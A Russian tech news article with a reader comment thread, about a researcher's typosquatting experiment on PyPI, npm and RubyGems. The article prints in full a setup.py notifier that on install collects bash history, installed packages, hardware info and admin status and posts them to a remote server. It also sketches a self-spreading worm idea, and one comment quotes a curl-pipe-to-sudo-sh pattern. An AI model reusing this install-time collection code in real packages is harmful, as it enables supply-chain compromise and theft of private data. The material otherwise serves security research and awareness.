Тайпосквоттинг в репозиториях Python, Node.JS и Ruby

    Эффективность атаки доказана при распространении вредоносного кода через репозитории PyPi (Python), Npmjs.com (Node.js) и rubygems.org (Ruby)


    Оказывается, тайпосквоттинг подходит не только для регистрации доменных имён. Немецкий специалист по безопасности Николай Чахер (Nikolai Tschacher) продемонстрировал, насколько легко распространять вредоносный код через PyPi — каталог программного обеспечения, написанного на языке программирования Python, а также через репозитории NodeJS (Npmsjs.com) и Ruby (rubygems.org).

    Итак, публикуем пакет с опечаткой в названии — и ждём, пока кто-нибудь допустит опечатку в своей консоли…

    > sudo pip install reqeusts


    Во время небольшого эксперимента Николай в целях исследования инфицировал 17 000 компьютеров, причём 43,6% установок были совершены с правами администратора, в том числе на серверах в правительственных доменах .gov и .mil.

    Тайпосквоттинг и битсквоттинг
    Хакеры давным-давно используют тайпосквоттинг для привлечения случайного трафика на бессмысленные сайты вроде microsodft.com. Данная атака эффективна из-за законов больших чисел. Если миллиард человек наберут URL сайта в адресной строке, то миллион их них сделают какую-нибудь ошибку. Примерно тысяча зайдут на подготовленный сайт, где их ждёт эксплоит-пак с использованием свеженьких 0day. Или, например, можно просто крутить рекламу на таких сайтах, получая деньги из воздуха.

    Традиционные тайпосквоттеры регистрируют тысячи адресов, в продвинутые компании всегда вместе с основным доменов регистрируют возможные варианты тайпосквоттинга, устанавливая редирект. Некоторые даже используют тайпосквоттинг, чтобы забирать чужой трафик. Например, Google перенаправляет к себе трафик с домена duck.com.

    Кстати, есть ещё битсквоттинг — экзотичесая разновидность тайпосквоттинга. Здесь расчёт идёт не на человеческую, а на аппаратную ошибку. Битсквоттинг делает ставку на то, что какое-нибудь из подключённых к интернету устройств случайно ошибётся и изменит один нужный бит в DNS-запросе, так что трафик пойдёт вместо оригинального сайта на сайт злоумышленника. Для таких атак выбираются домены CDN и рекламных сетей, контент с которых подгружается на тысячи популярных сайтов. Это такие домены, как fbcdn.net, 2mdn.net и akamai.com.

    Николай Чахер ознакомился с методами стандартного тайпосквоттинга и задался вопросом: а сколько же человек ошибутся в названии пакета, если вручную устанавливают покеты через пакетный менеджер. Например, пакетный менеджер pip скачивает пакеты из репозитория PyPi. Если мы создадим произвольный пакет с названием reqeusts (закачать его в репозиторий может кто угодно) вместо стандартного модуля requests, то наш пакет скачают и установят все пользователи, которые совершат опечатку при наборе команды.

    Чтобы проверить эффективность атаки, Николай создал 214 пакетов с различными типами опечаток в названии, в том числе с незарегистрированными вариантами имён из стандартной библиотеки (например, urllib2), и закачивал их в репозитории в течение нескольких месяцев во второй половине 2015 года и начале 2016 года.

    В пакетах Python вредоносный код прятался в файле setup.py, который запускается с правами администратора. Для модулей NPM был написан предустановочный скрипт, а вот с пакетами Ruby пришлось повозиться.

    При установке каждого фиктивного тайпосквоттерского пакета отправлялось уведомление на сервер с указанием IP-адреса, операционной системы, прав пользователя и таймстампом.

    Код программы-нотификатора
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    """
    Notification program used in the typo squatting
    bachelor thesis for the python package index.
    
    Created in autumn 2015.
    
    Copyright by Nikolai Tschacher
    """
    
    import os
    import ctypes
    import sys
    import platform
    import subprocess
    
    debug = False
    
    # we are using Python3
    if sys.version_info[0] == 3:
      import urllib.request
      from urllib.parse import urlencode
    
      GET = urllib.request.urlopen
    
      def python3POST(url, data={}, headers=None):
        """
        Returns the response of the POST request as string or
        False if the resource could not be accessed.
        """
        data = urllib.parse.urlencode(data).encode()
        request = urllib.request.Request(url, data)
        try:
          reponse = urllib.request.urlopen(request, timeout=15)
          cs = reponse.headers.get_content_charset()
          if cs:
            return reponse.read().decode(cs)
          else:
            return reponse.read().decode('utf-8')
        except urllib.error.HTTPError as he:
          # try again if some 400 or 500 error was received
          return ''
        except Exception as e:
          # everything else fails
          return False
      POST = python3POST
    # we are using Python2
    else:
      import urllib2
      from urllib import urlencode
      GET = urllib2.urlopen
      def python2POST(url, data={}, headers=None):
        """
        See python3POST
        """
        req = urllib2.Request(url, urlencode(data))
        try:
          response = urllib2.urlopen(req, timeout=15)
          return response.read()
        except urllib2.HTTPError as he:
          return ''
        except Exception as e:
          return False
      POST = python2POST
    
    
    try:
      from subprocess import DEVNULL # py3k
    except ImportError:
      DEVNULL = open(os.devnull, 'wb')
    
    
    def get_command_history():
      if os.name == 'nt':
        # handle windows
        # http://serverfault.com/questions/95404/
        #is-there-a-global-persistent-cmd-history
        # apparently, there is no history in windows :(
        return ''
    
      elif os.name == 'posix':
        # handle linux and mac
        cmd = 'cat {}/.bash_history | grep -E "pip[23]? install"'
        return os.popen(cmd.format(os.path.expanduser('~'))).read()
    
    
    def get_hardware_info():
      if os.name == 'nt':
        # handle windows
        return platform.processor()
    
      elif os.name == 'posix':
        # handle linux and mac
        if sys.platform.startswith('linux'):
          try:
            hw_info = subprocess.check_output('lshw -short',
                       stderr=DEVNULL, shell=True)
          except:
            hw_info = ''
    
          if not hw_info:
            try:
              hw_info = subprocess.check_output('lspci',
                       stderr=DEVNULL, shell=True)
            except:
              hw_info = ''
            hw_info += '\n' +\
              os.popen('free -m').read().strip()
    
          return hw_info
    
        elif sys.platform == 'darwin':
          # According to https://developer.apple.com/library/
          # mac/documentation/Darwin/Reference/ManPages/
          # man8/system_profiler.8.html
          # no personal information is provided by detailLevel: mini
          return os.popen('system_profiler -detailLevel mini').read()
    
    
    def get_all_installed_modules():
      # first try the default path
      pip_list = os.popen('pip list').read().strip()
    
      if pip_list:
        return pip_list
      else:
        if os.name == 'nt':
          paths = ('C:/Python27',
               'C:/Python34',
               'C:/Python26',
               'C:/Python33',
               'C:/Python35',
               'C:/Python',
               'C:/Python2',
               'C:/Python3')
          # try some paths that make sense to me
          for loc in paths:
            pip_location = os.path.join(loc, 'Scripts/pip.exe')
            if os.path.exists(pip_location):
              cmd = '{} list'.format(pip_location)
              try:
                pip_list = subprocess.check_output(cmd,
                       stderr=DEVNULL, shell=True)
              except:
                pip_list = ''
              if pip_list:
                return pip_list
      return ''
    
    
    def notify_home(url, package_name, intended_package_name):
      host_os = platform.platform()
      try:
        admin_rights = bool(os.getuid() == 0)
      except AttributeError:
        try:
          ret = ctypes.windll.shell32.IsUserAnAdmin()
          admin_rights = bool(ret != 0)
        except:
          admin_rights = False
    
      if os.name != 'nt':
        try:
          pip_version = os.popen('pip --version').read()
        except:
          pip_version = ''
      else:
        pip_version = platform.python_version()
    
      url_data = {
        'p1': package_name,
        'p2': intended_package_name,
        'p3': 'pip',
        'p4': host_os,
        'p5': admin_rights,
        'p6': pip_version,
      }
    
      post_data = {
        'p7': get_command_history(),
        'p8': get_all_installed_modules(),
        'p9': get_hardware_info(),
      }
    
      url_data = urlencode(url_data)
      response = POST(url + url_data, post_data)
    
      if debug:
        print(response)
    
      print('')
      print("Warning!!! Maybe you made a typo in your installation\
       command or the module does only exist in the python stdlib?!")
      print("Did you want to install '{}'\
       instead of '{}'??!".format(intended_package_name, package_name))
      print('For more information, please\
       visit http://svs-repo.informatik.uni-hamburg.de/')
    
    
    def main():
      if debug:
        notify_home('http://localhost:8000/app/?',
                 'pmba_basic', 'pmba_basic')
      else:
        notify_home('http://svs-repo.informatik.uni-hamburg.de/app/?',
                         'pmba_basic', 'pmba_basic')
    
    if __name__ == '__main__':
      main()

    Результаты оказались ошеломляющими. Нотификатор на сервере получил 45334 уведомлений об установке с 17289 уникальных IP-адресов.

    Больше всего установок сгенерировали фиктивные пакеты для PyPi: 15221 уникальных IP-адресов. На долю rubygems.org пришлось 1631 инсталляций, на NPM — 525. В среднем, каждый пакет был установлен 92 раза, но самым популярным оказался urllib2 с 3929 уникальными установками.



    Жертвы атаки распределились между разными операционными системами: Linux (8614), Windows (6174), OS X (4758) и другими ОС (57).

    Сопоставление IP-адресов с хостами дало следующую картину.



    Национальная принадлежность хостов, по странам


    Полные результаты исследования опубликованы в дипломной работе Николая Чахера.

    Кстати, автор предлагает идею, что данный тип атаки можно использовать для распространения червя, который будет майнить историю введённых команд в консоли под Linux и OS X, чтобы находить новые опечатки, которых нет в базе.

    Теоретически, червь может сам искать новые векторы атаки (новые опечатки), генерировать новые пакеты, закачивать их в репозитории вместе со своим кодом и, таким образом, распространяться дальше.
    Support the author
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 21

      –3

      Я даже не знаю, стоило ли это публиковать в открытом доступе до появления способа противостоять этому.

      • UFO just landed and posted this here
          +2
          И против установки гемов через sudo теперь есть не просто аргумент (хоть и железобетонный. но не все внимают), а прецедент. Конечно стоило.
            0
            В данном случае, насколько я понимаю, упор сделан на другое — вы качаете вроде бы проверенный пакет, но опечатка делает свое черное дело.
            –1
            похожий вектор уже использовали в рабигемз для remote execution на сервере (на котором пакеты хранятся)
            только там не на опечатки был упор, а на то, что файл, описывающий пакет eval-ится на сервере (моя вольная интерпретация прочитанного здесь около года назад. искать, естессно, лень :) )
              0
              Какие тут могут быть способы? Разве что регистрировать все похожие по написанию названия пакетов вместе с основным, но это для тех, кто выкладывает свой код.
                +2
                Например, подписывать релизы и проверять подписи?

                Не, это сильно сложно. Да и кому это вообще понадобится? Ой, надо ж поставить эту штуку… ага, curl http://example.com/install_thingie.sh | sudo sh
                  +1
                  > Например, подписывать релизы и проверять подписи?
                  Ага
                  http://xkcd.ru/1181/
                  Кто будет следить за всеми этими подписями? Каждому разработчику по подписи? И тогда для её верификации я каждый раз буду ходить на сайт, мне некуда записывать все открытые ключи. Один ключ на всех? Достаточно будет украсть его.
                    +1
                    Ну да, а я о чём. Решение есть. Просто заморачиваться не удобно.

                    За подписями следить разработчикам, кому же ещё. Каждому публикуемому пакету по подписи, да. Ключи можно заливать на какой-нибудь key server. Через него же отзывать скомпрометированные. Верифицировать — хотя бы через какие-то соцсети посредством того же Keybase.io. Ходить вам лично на сайт не надо, компьютер вполне может это сделать сам.

                    Но всё это сложнее, чем тупо скачать и установить без проверок. И даже подписи не защищают от обезьяны, не глядя жмущей «Далее, [✓] доверять Васе Пупкину с ключом 6DCB4341, далее, далее, *вводит пароль администратора*, готово». Или не глядя подписывающей что попало.
                      0
                      Будьте внимательны при наборе номера! А то невзначай можно и не туда попасть:).
                        0
                        Допустим, автор пакета Вася Некуймазаев. Во-первых, это надо как-то наверняка знать. Во вторых, на keyserver лежат три ключа «Vasia Nekuimazaef» «Vasja Nekuimazaef» и «Vasjа Nekuimazaef». Какой правильный? Кстати, в этом примере две последние строки — разные. Смотрите внимательно, и больше не называйте других людей обезьянами, пока сами не можете увидеть очевидную разницу в простых строках.
                          0
                          В плане, наверняка знать? Автор, ключи, и всё такое можно класть рядом с прочей информацией о проекте. Вам надо только убедиться, что вы не видите, например, совершенно другой поддельный интернет, совершенно другой проект, а у вас на компьютере сохранён совершенно другой ключ.

                          Keyserver — это просто хостинг. Подразумевается, что вы и так знаете, что хотите там найти ключ от нужного вам Васи с нужным хешем. Которые верифицируются по другим каналам. Либо Вася вам лично в вашем блокнотике пишет хеш своего ключа своей рукой. Либо Вася просит Петю, Машу, и Сашу (или корпорацию Груша), которым вы доверяете, дать вам честное слово, что ключ с таким-то хешем принадлежит нужному Васе. Либо вы точно знаете, что Вася подписывается таким-то ником и использует такую-то аватарку, и Вася запостил хеш своего ключа на пяти различных сайтах, которым вы доверяете, поэтому у вас есть уверенность, что это именно тот Вася, который вам нужен.

                          Вопрос в любом случае сводится к личному доверию и принятию решения о доверии. Если эти решения принимаются безответственно, то от ЭЦП нет толку.
                    0
                    При установке выдавать варнинг, что ставиться не популярный пакет.
                  –10
                  хорошо что я не держу на компе эти Python, Node.JS и Ruby и вообще не имею привычки ставить всякую хрень вручную.
                    0
                    Ставите всякую хрень автоматически? Пользуетесь пакетным менеджером ОС? Не понял Ваш комментарий.
                      0
                      для деплоя на сервер пишу скрипты для установки и обновления пакетов. без опечаток.
                      можно воспроизводить действия запустив лишь одну команду. а не набирать как мудак в консоли какждый раз команду установки пакета.
                      офигенно удобная вещь
                      +4
                      Если у вас нет собаки, её не отравит сосед, и с другом не будет драки, если у вас, если у вас, если у вас друга нет.
                      0
                      Репозитории — это, безусловно, хорошо, но надо быть с ними осторожными (в идеале).

                      Небольшая история: некоторое время назад я нашел пару уязвимостей на популярном хостинге репозиториев для jailbreak'нутых IOS-девайсов. Они позволяли получить полный доступ к аккаунту пользователя, включая выложенные им приложения. Учитывая популярность некоторых репозиториев, это пугало: можно было добавить вредоносный код в популярные приложения, а эти приложения улетят на устройства тем, кто захочет их установить или обновить, и смогут украсть все данные с устройства.
                        0
                        Что и называется «используйте только официальные прошивки и п/о взятое с официальных сайтов проекта», остальные «герои-хакеры» рискуют сами стать жертвой
                          0
                          Так это и были официальные репозитории для взломанных устройств ))
                        0
                        Сами разрабы репозиториев могут пропарсить access.log, вытащить наиболее распространённые опечатки и закрыть к ним доступ или поставить редиректы. Проблему полностью не решит, но полегче станет

                        Only users with full accounts can post comments. Log in, please.